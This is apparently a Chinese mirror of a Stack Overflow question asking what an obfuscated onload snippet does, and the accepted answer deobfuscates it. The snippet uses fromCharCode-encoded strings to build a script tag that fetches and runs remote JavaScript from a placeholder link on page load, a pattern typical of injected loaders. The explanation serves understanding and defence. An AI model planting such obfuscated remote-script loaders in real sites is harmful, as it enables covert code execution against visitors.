JavaScript onload() 函数

标签 javascript html

我发现以下代码很难解释:

onload="
    str1 = new String();
    link = 'some link';
    id = 'myid';
    _q385310452924= (document[String[fromCharCode](108,111,99,97,116,105,111,110)][String[fromCharCode](112,114,111,116,111,99,111,108)]==String[fromCharCode](104,116,116,112,115,58))?String[fromCharCode](104,116,116,112,115,58,47,47):String[fromCharCode](104,116,116,112,58,47,47);
    _q319711340400=document[String[fromCharCode](99,114,101,97,116,101,69,108,101,109,101,110,116)](String[fromCharCode](115,99,114,105,112,116));
    _q319711340400[String[fromCharCode](116,121,112,101)]=String[fromCharCode](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
    _q319711340400[String[fromCharCode](97,115,121,110,99)] = String[fromCharCode](116,114,117,101);
    _q319711340400[String[fromCharCode](115,114,99)]=new Array(_q385310452924,link,String[fromCharCode](47,76,47,63,105,100,61),id).join(str1);
    if(document[String[fromCharCode](103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101)](String[fromCharCode](104,101,97,100))[0]){document[String[fromCharCode](103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101)](String[fromCharCode](104,101,97,100))[0][String[fromCharCode](97,112,112,101,110,100,67,104,105,108,100)](_q319711340400)}"

我已将所有 fromCharCode(-,-,-) 转换为真实单词,但我不理解 javascript 代码。如果有人能指导我如何解释代码,我将不胜感激。谢谢

最佳答案

哇,这是一些令人讨厌的丑陋代码......

首先,这个脚本真的有效吗?

如果它有效,它应该像这样工作:

/* protocol */ _q385310452924 = document.location.protocol == "https" ? "https://" : "http://";
/* script   */ _q319711340400 = document.createElement("script");
/* script   */ _q319711340400.type = "text/javascript";
/* script   */ _q319711340400.async = "true";
/* script   */ _q319711340400.src = new Array(_q385310452924 /* protocol */,
                                              link,
                                              "/L/?id=",
                                              id).join(str1);
if (document.getElementsByTagName("head")[0]) {
    document.getElementsByTagName("head")[0].appendChild(_q319711340400);
}

所以基本上,它所做的就是检查协议(protocol),创建一个新的异步加载脚本,其 src="http(s)://[link]/L/?id=[id]"并将其添加到<head> html 的标签,如果 <head>标签存在。

关于JavaScript onload() 函数,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/58705522/

相关文章:

html - 为什么 HTML Legend 标签文本颜色在 IE 和其他浏览器中不同

html - 为什么我的页脚是这样显示的

javascript - 滑动切换时添加当前类

javascript - 是否可以使用计算属性来计算 Vue 中的另一个属性?

html - Chrome Firefox HTML 显示

php - 我如何在ajax请求中传递使用fileopen对话框加载的文件

javascript - Laravel - 在数据库中存储多个复选框表单值

javascript - 如何设置默认选项 d3.js

javascript - JSON 返回未定义

javascript - 一个页面上同一 javascript 类的两个实例引用同一实例